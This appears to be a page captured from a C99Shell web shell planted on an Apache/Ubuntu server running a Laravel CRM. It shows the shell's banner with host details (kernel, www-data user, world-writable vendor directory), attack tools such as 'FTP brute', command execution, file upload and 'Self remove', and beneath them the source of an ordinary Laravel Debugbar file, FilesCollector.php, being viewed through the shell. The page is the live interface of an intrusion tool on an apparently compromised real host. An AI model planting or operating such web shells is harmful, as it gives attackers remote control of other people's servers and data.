!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/barryvdh/laravel-debugbar/src/DataCollector/   drwxrwxrwx
Free 13.06 GB of 57.97 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FilesCollector.php (3.7 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Barryvdh\Debugbar\DataCollector;

use 
DebugBar\DataCollector\DataCollector;
use 
DebugBar\DataCollector\Renderable;
use 
Illuminate\Container\Container;

class 
FilesCollector extends DataCollector implements Renderable
{
    
/** @var \Illuminate\Container\Container */
    
protected $app;
    protected 
$basePath;

    
/**
     * @param \Illuminate\Container\Container $app
     */
    
public function __construct(?Container $app null)
    {
        
$this->app $app;
        
$this->basePath base_path();
    }

    
/**
     * {@inheritDoc}
     */
    
public function collect()
    {
        
$files $this->getIncludedFiles();
        
$compiled $this->getCompiledFiles();

        
$included = [];
        
$alreadyCompiled = [];
        foreach (
$files as $file) {
            
// Skip the files from Debugbar, they are only loaded for Debugging and confuse the output.
            // Of course some files are stil always loaded (ServiceProvider, Facade etc)
            
if (
                
strpos($file'vendor/maximebf/debugbar/src') !== false || strpos(
                    
$file,
                    
'vendor/barryvdh/laravel-debugbar/src'
                
) !== false
            
) {
                continue;
            } elseif (!
in_array($file$compiled)) {
                
$included[] = [
                    
'message' => "'" $this->stripBasePath($file) . "',",
                    
// Use PHP syntax so we can copy-paste to compile config file.
                    
'is_string' => true,
                ];
            } else {
                
$alreadyCompiled[] = [
                    
'message' => "* '" $this->stripBasePath($file) . "',",
                    
// Mark with *, so know they are compiled anyway.
                    
'is_string' => true,
                ];
            }
        }

        
// First the included files, then those that are going to be compiled.
        
$messages array_merge($included$alreadyCompiled);

        return [
            
'messages' => $messages,
            
'count' => count($included),
        ];
    }

    
/**
     * Get the files included on load.
     *
     * @return array
     */
    
protected function getIncludedFiles()
    {
        return 
get_included_files();
    }

    
/**
     * Get the files that are going to be compiled, so they aren't as important.
     *
     * @return array
     */
    
protected function getCompiledFiles()
    {
        if (
$this->app && class_exists('Illuminate\Foundation\Console\OptimizeCommand')) {
            
$reflector = new \ReflectionClass('Illuminate\Foundation\Console\OptimizeCommand');
            
$path dirname($reflector->getFileName()) . '/Optimize/config.php';

            if (
file_exists($path)) {
                
$app $this->app;
                
$core = require $path;
                return 
array_merge($core$app['config']['compile']);
            }
        }
        return [];
    }

    
/**
     * Remove the basePath from the paths, so they are relative to the base
     *
     * @param $path
     * @return string
     */
    
protected function stripBasePath($path)
    {
        return 
ltrim(str_replace($this->basePath''$path), '/');
    }

    
/**
     * {@inheritDoc}
     */
    
public function getWidgets()
    {
        
$name $this->getName();
        return [
            
"$name=> [
                
"icon" => "files-o",
                
"widget" => "PhpDebugBar.Widgets.MessagesWidget",
                
"map" => "$name.messages",
                
"default" => "{}"
            
],
            
"$name:badge" => [
                
"map" => "$name.count",
                
"default" => "null"
            
]
        ];
    }

    
/**
     * {@inheritDoc}
     */
    
public function getName()
    {
        return 
'files';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0064 ]--